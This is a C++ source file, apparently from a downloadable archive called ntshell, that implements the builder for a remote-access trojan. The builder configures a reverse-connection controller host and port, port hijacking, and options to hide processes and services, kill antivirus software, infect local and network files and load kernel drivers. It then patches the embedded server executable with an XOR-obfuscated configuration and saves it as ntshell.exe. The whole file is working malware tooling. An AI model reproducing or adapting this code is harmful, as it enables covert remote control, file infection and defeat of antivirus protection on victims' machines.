www.pudn.com > ntshell.rar > config.cpp


// config.cpp: implementation of the CServerConfig class. 
// 
////////////////////////////////////////////////////////////////////// 
 
#include "stdafx.h" 
#include "resource.h" 
#include "common.h" 
 
#include "ntshell.h" 
#include "md5.h" 
#include "config.h" 
 
TCHAR MasterAddr[MAX_ADDRESS_LENGTH] = "mnjcc.vicp.net"; 
TCHAR MasterAddr2[MAX_ADDRESS_LENGTH] = "192.168.0.23"; 
USHORT MasterPort = 7070; 
USHORT ListenPort = 24704; 
ULONG ConnSpace = 20000; 
UCHAR WaitMode = 1; 
BOOLEAN PortHijack = FALSE; 
BOOLEAN NeedPwd = FALSE; 
TCHAR Password[MAX_PASSWORD_LENGTH]; 
ULONG ConfigFlags = FLAG_ALLOW_RING0 | FLAG_RECORD_ERROR | FLAG_AUTO_BACKUP_FILE | FLAG_RING0_OPEN_FILE; 
UCHAR RunMethod = 0; 
 
UCHAR config[CONFIG_SECTION_SIZE] = {0x12, 0x34, 0x56, 0x78}; 
 
HHOOK hHookOldMsgFilter; 
CToolTipCtrl *tip; 
 
LRESULT CALLBACK CServerConfig::MsgFilterHook(int code, WPARAM wParam, LPARAM lParam) 
{ 
	if (::IsWindow(*tip)) 
	{ 
		tip->RelayEvent((LPMSG)lParam); 
	} 
 
	return CallNextHookEx(hHookOldMsgFilter, code, wParam, lParam); 
} 
 
LRESULT CServerConfig::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/) 
{ 
	// center the dialog on the screen 
	CenterWindow(); 
 
	m_tip.Create(this->m_hWnd); 
	m_tip.AddTool(GetDlgItem(IDC_CHECK3), "可能被某些反毒软件检测到"); 
	m_tip.AddTool(GetDlgItem(IDC_CHECK4), "可能导致远程操作系统崩溃"); 
	m_tip.AddTool(GetDlgItem(IDC_CHECK6), "需打开Ring0操作,否则没什么效果"); 
	m_tip.AddTool(GetDlgItem(IDC_CHECK7), "慎用"); 
	m_tip.AddTool(GetDlgItem(IDC_CHECK9), "位于%SYSTEMROOT%\\ntshell.log"); 
	m_tip.AddTool(GetDlgItem(IDC_CHECK10), "可感染使用中的文件"); 
	m_tip.AddTool(GetDlgItem(IDC_CHECK11), "备份在%SYSTEMROOT%\\system32\\backup目录下"); 
	m_tip.AddTool(GetDlgItem(IDC_CHECK12), "会被反毒软件阻止,2000/XP可尝试先杀掉反毒软件进程"); 
	m_tip.SetTipTextColor(RGB(0, 0, 255)); 
	m_tip.SetDelayTime(TTDT_AUTOPOP, 15000); 
	m_tip.Activate(TRUE); 
	hHookOldMsgFilter = SetWindowsHookEx(WH_MSGFILTER, MsgFilterHook, NULL, GetCurrentThreadId()); 
	tip = &m_tip; 
 
	LoadConfig(); 
 
	return TRUE; 
} 
 
LRESULT CServerConfig::OnDestroy(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/) 
{ 
	UnhookWindowsHookEx(hHookOldMsgFilter); 
 
	return TRUE; 
} 
 
LRESULT CServerConfig::OnHelp(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/) 
{ 
	LPHELPINFO lphi = (LPHELPINFO)lParam; 
 
	WinHelp("test", HELP_CONTEXTPOPUP); 
 
	return 0; 
} 
 
void CServerConfig::SetConfigSection(int Block) 
{ 
	static int pointer = 0; 
	UCHAR *p; 
	ULONG l; 
 
	switch (Block) 
	{ 
	case CFG_BEGIN: 
		memset(config + 4, 0, sizeof(config) - 4); 
		pointer = 5; 
		config[4] = Block; 
		return; 
 
	case CFG_END: 
		config[pointer] = Block; 
		return; 
 
	case CFG_MASTER_ADDR: 
		p = (UCHAR *)MasterAddr; 
		l = strlen(MasterAddr) + 1; 
		break; 
 
	case CFG_MASTER_ADDR2: 
		p = (UCHAR *)MasterAddr2; 
		l = strlen(MasterAddr2) + 1; 
		break; 
 
	case CFG_MASTER_PORT: 
		p = (UCHAR *)&MasterPort; 
		l = sizeof(MasterPort); 
		break; 
 
	case CFG_LISTEN_PORT: 
		p = (UCHAR *)&ListenPort; 
		l = sizeof(ListenPort); 
		break; 
 
	case CFG_WAIT_MODE: 
		p = (UCHAR *)&WaitMode; 
		l = sizeof(WaitMode); 
		break; 
 
	case CFG_NEED_PWD: 
		p = (UCHAR *)&NeedPwd; 
		l = sizeof(NeedPwd); 
		break; 
 
	case CFG_PASSWORD: 
		p = (UCHAR *)Password; 
		l = MAX_PASSWORD_LENGTH; 
		break; 
 
	case CFG_GLOBAL_FLAGS: 
		p = (UCHAR *)&ConfigFlags; 
		l = sizeof(MasterPort); 
		break; 
 
	case CFG_CONN_SPACE: 
		p = (UCHAR *)&ConnSpace; 
		l = sizeof(ConnSpace); 
		break; 
 
	case CFG_PORT_HIJACK: 
		p = (UCHAR *)&PortHijack; 
		l = sizeof(PortHijack); 
		break; 
 
	case CFG_RUN_METHOD: 
		p = (UCHAR *)&RunMethod; 
		l = sizeof(RunMethod); 
		break; 
 
	default: 
		MessageBox("配置错误,指定块未定义", "", MB_ICONERROR); 
		return; 
	} 
 
	config[pointer] = Block; 
	config[pointer + 1] = (UCHAR)l; 
	memcpy(config + pointer + 2, p, l); 
	pointer += 1 + 1 + l; 
} 
 
LRESULT CServerConfig::OnReload(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/) 
{ 
	LoadConfig(); 
 
	return 0; 
} 
 
LRESULT CServerConfig::OnOK(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/) 
{ 
	SetConfigSection(CFG_BEGIN); 
 
	if (IsDlgButtonChecked(IDC_RADIO1) == BST_CHECKED || IsDlgButtonChecked(IDC_RADIO3) == BST_CHECKED) 
	{ 
		PortHijack = IsDlgButtonChecked(IDC_RADIO4) == BST_CHECKED ? FALSE : TRUE; 
		SetConfigSection(CFG_PORT_HIJACK); 
 
		ListenPort = GetDlgItemInt(IDC_EDIT5); 
		SetConfigSection(CFG_LISTEN_PORT); 
	} 
 
	CString msg; 
 
	if (IsDlgButtonChecked(IDC_RADIO2) == BST_CHECKED || IsDlgButtonChecked(IDC_RADIO3) == BST_CHECKED) 
	{ 
		if (::GetWindowTextLength(GetDlgItem(IDC_EDIT1)) >= sizeof(MasterAddr) || 
			::GetWindowTextLength(GetDlgItem(IDC_EDIT2)) >= sizeof(MasterAddr2)) 
		{ 
			msg.Format("反向连接地址长度不能超过 %d", sizeof(MasterAddr) - 1); 
			MessageBox(msg, "错误", MB_ICONERROR); 
			return -1; 
		} 
 
		GetDlgItemText(IDC_EDIT1, MasterAddr, sizeof(MasterAddr)); 
		SetConfigSection(CFG_MASTER_ADDR); 
 
		GetDlgItemText(IDC_EDIT2, MasterAddr2, sizeof(MasterAddr2)); 
		SetConfigSection(CFG_MASTER_ADDR2); 
 
		MasterPort = GetDlgItemInt(IDC_EDIT3); 
		SetConfigSection(CFG_MASTER_PORT); 
 
		ConnSpace = GetDlgItemInt(IDC_EDIT4); 
		SetConfigSection(CFG_CONN_SPACE); 
	} 
 
	if (IsDlgButtonChecked(IDC_RADIO1) == BST_CHECKED) 
		WaitMode = 0; 
	else if (IsDlgButtonChecked(IDC_RADIO2) == BST_CHECKED) 
		WaitMode = 1; 
	else if (IsDlgButtonChecked(IDC_RADIO3) == BST_CHECKED) 
		WaitMode = 2; 
 
	SetConfigSection(CFG_WAIT_MODE); 
 
	NeedPwd = FALSE; 
 
	if (IsDlgButtonChecked(IDC_CHECK1) == BST_CHECKED) 
	{ 
		TCHAR pwd1[32], pwd2[32]; 
		ULONG len1, len2; 
 
		len1 = ::GetWindowTextLength(GetDlgItem(IDC_EDIT6)); 
		len2 = ::GetWindowTextLength(GetDlgItem(IDC_EDIT7)); 
 
		if ((len1 > sizeof(pwd1) - 1 || len1 <= 0) || (len2 > sizeof(pwd2) - 1 || len2 <= 0)) 
		{ 
			msg.Format("密码长度必需是 1-%d 个字符", sizeof(pwd1) - 1); 
			MessageBox(msg, "错误", MB_ICONERROR); 
			return -1; 
		} 
 
		GetDlgItemText(IDC_EDIT6, pwd1, sizeof(pwd1)); 
		GetDlgItemText(IDC_EDIT7, pwd2, sizeof(pwd2)); 
 
		if (strcmp(pwd1, pwd2) != 0) 
		{ 
			MessageBox("两次输入的密码不一致,请重新输入", "错误", MB_ICONERROR); 
			SetDlgItemText(IDC_EDIT6, ""); 
			SetDlgItemText(IDC_EDIT7, ""); 
			return -1; 
		} 
 
		NeedPwd = TRUE; 
		SetConfigSection(CFG_NEED_PWD); 
 
		memset(Password, 0, sizeof(Password)); 
 
		MD5_CTX context; 
		MD5Init(&context); 
		MD5Update(&context, (BYTE *)pwd1, strlen(pwd1)); 
		MD5Final((BYTE *)Password, &context); 
 
		Password[0] = 86; 
		Password[4] = 29; 
		Password[8] = 91; 
 
		SetConfigSection(CFG_PASSWORD); 
	} 
 
	if (IsDlgButtonChecked(IDC_RADIO6) == BST_CHECKED) 
	{ 
		RunMethod = 0; 
	} 
	else 
	{ 
		if (IsDlgButtonChecked(IDC_CHECK2) == BST_CHECKED) 
			RunMethod = 2; 
		else 
			RunMethod = 1; 
	} 
 
	SetConfigSection(CFG_RUN_METHOD); 
 
	ConfigFlags = 0; 
 
	if (IsDlgButtonChecked(IDC_CHECK3) == BST_CHECKED) 
		ConfigFlags |= FLAG_ALLOW_HIDE_PROCESS; 
 
	if (IsDlgButtonChecked(IDC_CHECK4) == BST_CHECKED) 
		ConfigFlags |= FLAG_ALLOW_RING0; 
 
	if (IsDlgButtonChecked(IDC_CHECK5) == BST_CHECKED) 
		ConfigFlags |= FLAG_RUN_SERVICE_ALWAYS; 
 
	if (IsDlgButtonChecked(IDC_CHECK6) == BST_CHECKED) 
		ConfigFlags |= FLAG_AUTO_KILL_AVSOFT; 
 
	if (IsDlgButtonChecked(IDC_CHECK7) == BST_CHECKED) 
		ConfigFlags |= FLAG_AUTO_INFECT_FILE; 
 
	if (IsDlgButtonChecked(IDC_CHECK8) == BST_CHECKED) 
		ConfigFlags |= FLAG_AUTO_INFECT_LAN_FILE; 
 
	if (IsDlgButtonChecked(IDC_CHECK9) == BST_CHECKED) 
		ConfigFlags |= FLAG_RECORD_ERROR; 
 
	if (IsDlgButtonChecked(IDC_CHECK10) == BST_CHECKED) 
		ConfigFlags |= FLAG_RING0_OPEN_FILE; 
 
	if (IsDlgButtonChecked(IDC_CHECK11) == BST_CHECKED) 
		ConfigFlags |= FLAG_AUTO_BACKUP_FILE; 
 
	if (IsDlgButtonChecked(IDC_CHECK12) == BST_CHECKED) 
		ConfigFlags |= FLAG_ALLOW_LOAD_DRIVER; 
 
	if (IsDlgButtonChecked(IDC_CHECK13) == BST_CHECKED) 
		ConfigFlags |= FLAG_ALLOW_HIDE_SERVICE; 
 
	SetConfigSection(CFG_GLOBAL_FLAGS); 
	SetConfigSection(CFG_END); 
	SaveConfig(); 
 
	return 0; 
} 
 
LRESULT CServerConfig::OnMake(WORD wNotifyCode, WORD wID, HWND hWndCtl, BOOL& bHandled) 
{ 
	if (OnOK(wNotifyCode, wID, hWndCtl, bHandled) != 0) 
		return 0; 
 
	HMODULE hModule = GetModuleHandle(NULL); 
	HRSRC hSrc = FindResource(hModule, MAKEINTRESOURCE(IDR_NTSHELL), "BINARY");	 
	HGLOBAL hRes = LoadResource(hModule, hSrc); 
	ULONG size = SizeofResource(hModule, hSrc); 
 
	UCHAR *pExe = new UCHAR[size]; 
 
	if (pExe == NULL) 
		return 0; 
 
	UCHAR *p = (UCHAR *)LockResource(hRes); 
	memcpy(pExe, p, size); 
	FreeResource(hRes); 
 
	UCHAR *pp = (UCHAR *)MemorySearchLR(pExe, size, "\x12\x34\x56\x78", 4); 
	memcpy(pp, config, sizeof(config)); 
 
	for (int i = 4; i < sizeof(config); i++) 
		pp[i] ^= 0xa7; 
 
	OPENFILENAME ofn; 
	TCHAR szFileName[MAX_PATH] = "ntshell.exe"; 
 
	memset(&ofn, 0, sizeof(OPENFILENAME)); 
	ofn.lStructSize		= sizeof(OPENFILENAME); 
	ofn.hwndOwner		= NULL; 
	ofn.hInstance		= GetModuleHandle(NULL); 
	ofn.lpstrFilter		= "应用程序 (*.exe)\0*.exe\0全部文件 (*.*)\0*.*\0"; 
	ofn.lpstrFile		= szFileName; 
	ofn.nMaxFile		= MAX_PATH; 
	ofn.Flags			= OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST | OFN_LONGNAMES | OFN_EXPLORER | OFN_HIDEREADONLY; 
 
	if (!GetSaveFileName(&ofn)) 
	{ 
		delete [] pExe; 
		return 0; 
	} 
 
	HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); 
 
	if (hFile == INVALID_HANDLE_VALUE) 
	{ 
		CString msg; 
		msg.Format("不能创建文件 %s", szFileName); 
		delete [] pExe; 
		return 0; 
	} 
 
	DWORD nWriteBytes; 
	WriteFile(hFile, pExe, size, &nWriteBytes, NULL); 
	CloseHandle(hFile); 
	delete [] pExe; 
 
	return 0; 
} 
 
LRESULT CServerConfig::OnClose(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) 
{ 
	EndDialog(wID); 
 
	return 0; 
} 
 
LRESULT CServerConfig::OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) 
{ 
	EndDialog(wID); 
 
	return 0; 
} 
 
LRESULT CServerConfig::OnButtonClicked(int /*code*/, int id, HWND /*hWnd*/, BOOL& /*bHandled*/) 
{ 
	switch (id) 
	{ 
	case IDC_RADIO1: 
		::EnableWindow(GetDlgItem(IDC_EDIT1), FALSE); 
		::EnableWindow(GetDlgItem(IDC_EDIT2), FALSE); 
		::EnableWindow(GetDlgItem(IDC_EDIT3), FALSE); 
		::EnableWindow(GetDlgItem(IDC_EDIT4), FALSE); 
		::EnableWindow(GetDlgItem(IDC_RADIO4), TRUE); 
		::EnableWindow(GetDlgItem(IDC_RADIO5), TRUE); 
		::EnableWindow(GetDlgItem(IDC_EDIT5), TRUE); 
		CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id); 
		break; 
 
	case IDC_RADIO2: 
		::EnableWindow(GetDlgItem(IDC_EDIT1), TRUE); 
		::EnableWindow(GetDlgItem(IDC_EDIT2), TRUE); 
		::EnableWindow(GetDlgItem(IDC_EDIT3), TRUE); 
		::EnableWindow(GetDlgItem(IDC_EDIT4), TRUE); 
		::EnableWindow(GetDlgItem(IDC_RADIO4), FALSE); 
		::EnableWindow(GetDlgItem(IDC_RADIO5), FALSE); 
		::EnableWindow(GetDlgItem(IDC_EDIT5), FALSE); 
		CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id); 
		break; 
 
	case IDC_RADIO3: 
		::EnableWindow(GetDlgItem(IDC_EDIT1), TRUE); 
		::EnableWindow(GetDlgItem(IDC_EDIT2), TRUE); 
		::EnableWindow(GetDlgItem(IDC_EDIT3), TRUE); 
		::EnableWindow(GetDlgItem(IDC_EDIT4), TRUE); 
		::EnableWindow(GetDlgItem(IDC_RADIO4), TRUE); 
		::EnableWindow(GetDlgItem(IDC_RADIO5), TRUE); 
		::EnableWindow(GetDlgItem(IDC_EDIT5), TRUE); 
		CheckRadioButton(IDC_RADIO1, IDC_RADIO3, id); 
		break; 
 
	case IDC_RADIO4: 
	case IDC_RADIO5: 
		CheckRadioButton(IDC_RADIO4, IDC_RADIO5, id); 
		break; 
 
	case IDC_RADIO6: 
		::EnableWindow(GetDlgItem(IDC_CHECK2), FALSE); 
		CheckRadioButton(IDC_RADIO6, IDC_RADIO7, id); 
		break; 
 
	case IDC_RADIO7: 
		CheckRadioButton(IDC_RADIO6, IDC_RADIO7, id); 
		::EnableWindow(GetDlgItem(IDC_CHECK2), TRUE); 
		break; 
 
	case IDC_CHECK1: 
		if (IsDlgButtonChecked(IDC_CHECK1) == BST_CHECKED) 
		{ 
			::EnableWindow(GetDlgItem(IDC_EDIT6), TRUE); 
			::EnableWindow(GetDlgItem(IDC_EDIT7), TRUE); 
		} 
		else 
		{ 
			::EnableWindow(GetDlgItem(IDC_EDIT6), FALSE); 
			::EnableWindow(GetDlgItem(IDC_EDIT7), FALSE); 
		} 
		break; 
	} 
 
	return 0; 
} 
 
void CServerConfig::LoadConfig() 
{ 
	TCHAR szIniPath[MAX_PATH]; 
 
	GetModuleFileName(NULL, szIniPath, sizeof(szIniPath)); 
	_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini"); 
 
	GetPrivateProfileString("ServerConfig", "MasterAddr", "mnjcc.vicp.net", MasterAddr, sizeof(MasterAddr), szIniPath); 
	GetPrivateProfileString("ServerConfig", "MasterAddr2", "192.168.0.23", MasterAddr2, sizeof(MasterAddr2), szIniPath); 
	MasterPort = GetPrivateProfileInt("ServerConfig", "MasterPort", 7070, szIniPath); 
	ConnSpace = GetPrivateProfileInt("ServerConfig", "ConnSpace", 20000, szIniPath); 
	ListenPort = GetPrivateProfileInt("ServerConfig", "ListenPort", 24704, szIniPath); 
	WaitMode = GetPrivateProfileInt("ServerConfig", "WaitMode", 1, szIniPath); 
	PortHijack = GetPrivateProfileInt("ServerConfig", "PortHijack", FALSE, szIniPath); 
	NeedPwd = GetPrivateProfileInt("ServerConfig", "NeedPwd", FALSE, szIniPath); 
	ConfigFlags = GetPrivateProfileInt("ServerConfig", "ConfigFlags", FLAG_ALLOW_RING0 | FLAG_RECORD_ERROR | FLAG_AUTO_BACKUP_FILE | FLAG_RING0_OPEN_FILE, szIniPath); 
	RunMethod = GetPrivateProfileInt("ServerConfig", "RunMethod", 0, szIniPath); 
 
	SetDlgItemText(IDC_EDIT1, MasterAddr); 
	SetDlgItemText(IDC_EDIT2, MasterAddr2); 
	SetDlgItemInt(IDC_EDIT3, MasterPort); 
	SetDlgItemInt(IDC_EDIT4, ConnSpace); 
	SetDlgItemInt(IDC_EDIT5, ListenPort); 
 
	CheckRadioButton(IDC_RADIO1, IDC_RADIO3, IDC_RADIO1 + WaitMode); 
	CheckRadioButton(IDC_RADIO4, IDC_RADIO5, PortHijack == FALSE ? IDC_RADIO4 : IDC_RADIO5); 
	CheckDlgButton(IDC_CHECK1, NeedPwd ? BST_CHECKED : BST_UNCHECKED); 
	SetDlgItemText(IDC_EDIT6, ""); 
	SetDlgItemText(IDC_EDIT7, ""); 
	CheckRadioButton(IDC_RADIO6, IDC_RADIO7, RunMethod == 0 ? IDC_RADIO6 : IDC_RADIO7); 
	CheckDlgButton(IDC_CHECK2, RunMethod == 2 ? BST_CHECKED : BST_UNCHECKED); 
 
	CheckDlgButton(IDC_CHECK3, ConfigFlags & FLAG_ALLOW_HIDE_PROCESS ? BST_CHECKED : BST_UNCHECKED); 
	CheckDlgButton(IDC_CHECK4, ConfigFlags & FLAG_ALLOW_RING0 ? BST_CHECKED : BST_UNCHECKED); 
	CheckDlgButton(IDC_CHECK5, ConfigFlags & FLAG_RUN_SERVICE_ALWAYS ? BST_CHECKED : BST_UNCHECKED); 
	CheckDlgButton(IDC_CHECK6, ConfigFlags & FLAG_AUTO_KILL_AVSOFT ? BST_CHECKED : BST_UNCHECKED); 
	CheckDlgButton(IDC_CHECK7, ConfigFlags & FLAG_AUTO_INFECT_FILE ? BST_CHECKED : BST_UNCHECKED); 
	CheckDlgButton(IDC_CHECK8, ConfigFlags & FLAG_AUTO_INFECT_LAN_FILE ? BST_CHECKED : BST_UNCHECKED); 
	CheckDlgButton(IDC_CHECK9, ConfigFlags & FLAG_RECORD_ERROR ? BST_CHECKED : BST_UNCHECKED); 
	CheckDlgButton(IDC_CHECK10, ConfigFlags & FLAG_RING0_OPEN_FILE ? BST_CHECKED : BST_UNCHECKED); 
	CheckDlgButton(IDC_CHECK11, ConfigFlags & FLAG_AUTO_BACKUP_FILE ? BST_CHECKED : BST_UNCHECKED); 
	CheckDlgButton(IDC_CHECK12, ConfigFlags & FLAG_ALLOW_LOAD_DRIVER ? BST_CHECKED : BST_UNCHECKED); 
	CheckDlgButton(IDC_CHECK13, ConfigFlags & FLAG_ALLOW_HIDE_SERVICE ? BST_CHECKED : BST_UNCHECKED); 
 
	::EnableWindow(GetDlgItem(IDC_EDIT1), WaitMode == 0 ? FALSE : TRUE); 
	::EnableWindow(GetDlgItem(IDC_EDIT2), WaitMode == 0 ? FALSE : TRUE); 
	::EnableWindow(GetDlgItem(IDC_EDIT3), WaitMode == 0 ? FALSE : TRUE); 
	::EnableWindow(GetDlgItem(IDC_EDIT4), WaitMode == 0 ? FALSE : TRUE); 
	::EnableWindow(GetDlgItem(IDC_EDIT5), WaitMode == 1 ? FALSE : TRUE); 
	::EnableWindow(GetDlgItem(IDC_RADIO4), WaitMode == 1 ? FALSE : TRUE); 
	::EnableWindow(GetDlgItem(IDC_RADIO5), WaitMode == 1 ? FALSE : TRUE); 
 
	::EnableWindow(GetDlgItem(IDC_CHECK2), RunMethod == 0 ? FALSE : TRUE); 
	::EnableWindow(GetDlgItem(IDC_EDIT6), NeedPwd ? TRUE : FALSE); 
	::EnableWindow(GetDlgItem(IDC_EDIT7), NeedPwd ? TRUE : FALSE); 
} 
 
void CServerConfig::SaveConfig() 
{ 
	TCHAR szIniPath[MAX_PATH]; 
 
	GetModuleFileName(NULL, szIniPath, sizeof(szIniPath)); 
	_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini"); 
 
	CString tmp; 
 
	WritePrivateProfileString("ServerConfig", "MasterAddr", MasterAddr, szIniPath); 
	WritePrivateProfileString("ServerConfig", "MasterAddr2", MasterAddr2, szIniPath); 
	tmp.Format("%d", MasterPort); 
	WritePrivateProfileString("ServerConfig", "MasterPort", tmp, szIniPath); 
	tmp.Format("%d", ConnSpace); 
	WritePrivateProfileString("ServerConfig", "ConnSpace", tmp, szIniPath); 
	tmp.Format("%d", ListenPort); 
	WritePrivateProfileString("ServerConfig", "ListenPort", tmp, szIniPath); 
	tmp.Format("%d", WaitMode); 
	WritePrivateProfileString("ServerConfig", "WaitMode", tmp, szIniPath); 
	tmp.Format("%d", PortHijack); 
	WritePrivateProfileString("ServerConfig", "PortHijack", tmp, szIniPath); 
	tmp.Format("%d", NeedPwd); 
	WritePrivateProfileString("ServerConfig", "NeedPwd", tmp, szIniPath); 
	tmp.Format("%d", ConfigFlags); 
	WritePrivateProfileString("ServerConfig", "ConfigFlags", tmp, szIniPath); 
	tmp.Format("%d", RunMethod); 
	WritePrivateProfileString("ServerConfig", "RunMethod", tmp, szIniPath); 
} 
 
////////////////////////////////////////////////////////////////////// 
// 
// config.cpp: implementation of the CLocalConfig class. 
// 
////////////////////////////////////////////////////////////////////// 
 
ULONG ScreenCaptureMethod = SCREEN_XOR; 
ULONG ScreenCaptureSpace = 1000; 
BOOLEAN AutoZoom = FALSE; 
USHORT LocalListenPort = 7070; 
 
LRESULT CLocalConfig::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM lParam, BOOL& /*bHandled*/) 
{ 
	// center the dialog on the screen 
	CenterWindow(); 
	//LoadConfig(); 
 
	switch (ScreenCaptureMethod) 
	{ 
	case SCREEN_XOR: 
		CheckDlgButton(IDC_RADIO1, BST_CHECKED); 
		break; 
	case SCREEN_DIFFERENCE: 
		CheckDlgButton(IDC_RADIO2, BST_CHECKED); 
		break; 
	} 
 
	if (!AutoZoom) 
		CheckDlgButton(IDC_RADIO3, BST_CHECKED); 
	else 
		CheckDlgButton(IDC_RADIO4, BST_CHECKED); 
 
	SetDlgItemInt(IDC_EDIT1, ScreenCaptureSpace); 
	SetDlgItemInt(IDC_EDIT2, LocalListenPort); 
 
	return TRUE; 
} 
 
LRESULT CLocalConfig::OnOK(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) 
{ 
	if (IsDlgButtonChecked(IDC_RADIO1)) 
		ScreenCaptureMethod = SCREEN_XOR; 
 
	if (IsDlgButtonChecked(IDC_RADIO2)) 
		ScreenCaptureMethod = SCREEN_DIFFERENCE; 
 
	ScreenCaptureSpace = GetDlgItemInt(IDC_EDIT1); 
 
	if (IsDlgButtonChecked(IDC_RADIO3)) 
		AutoZoom = FALSE; 
 
	if (IsDlgButtonChecked(IDC_RADIO4)) 
		AutoZoom = TRUE; 
 
	LocalListenPort = GetDlgItemInt(IDC_EDIT2); 
 
	SaveConfig(); 
	EndDialog(wID); 
 
	return 0; 
} 
 
LRESULT CLocalConfig::OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) 
{ 
	EndDialog(wID); 
 
	return 0; 
} 
 
void CLocalConfig::LoadConfig() 
{ 
	TCHAR szIniPath[MAX_PATH]; 
 
	GetModuleFileName(NULL, szIniPath, sizeof(szIniPath)); 
	_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini"); 
 
	LocalListenPort = GetPrivateProfileInt("LocalConfig", "ListenPort", 7070, szIniPath); 
	ScreenCaptureMethod = GetPrivateProfileInt("LocalConfig", "ScreenCaptureMethod", SCREEN_XOR, szIniPath); 
	ScreenCaptureSpace = GetPrivateProfileInt("LocalConfig", "ScreenCaptureSpace", 1000, szIniPath); 
	AutoZoom = GetPrivateProfileInt("LocalConfig", "AutoZoom", FALSE, szIniPath); 
} 
 
void CLocalConfig::SaveConfig() 
{ 
	CString tmp; 
	TCHAR szIniPath[MAX_PATH]; 
 
	GetModuleFileName(NULL, szIniPath, sizeof(szIniPath)); 
	_tcscpy(_tcschr(szIniPath, '\\'), "ntshell.ini"); 
 
	tmp.Format("%d", LocalListenPort); 
	WritePrivateProfileString("LocalConfig", "ListenPort", tmp, szIniPath); 
	tmp.Format("%d", ScreenCaptureMethod); 
	WritePrivateProfileString("LocalConfig", "ScreenCaptureMethod", tmp, szIniPath); 
	tmp.Format("%d", ScreenCaptureSpace); 
	WritePrivateProfileString("LocalConfig", "ScreenCaptureSpace", tmp, szIniPath); 
	tmp.Format("%d", AutoZoom); 
	WritePrivateProfileString("LocalConfig", "AutoZoom", tmp, szIniPath); 
}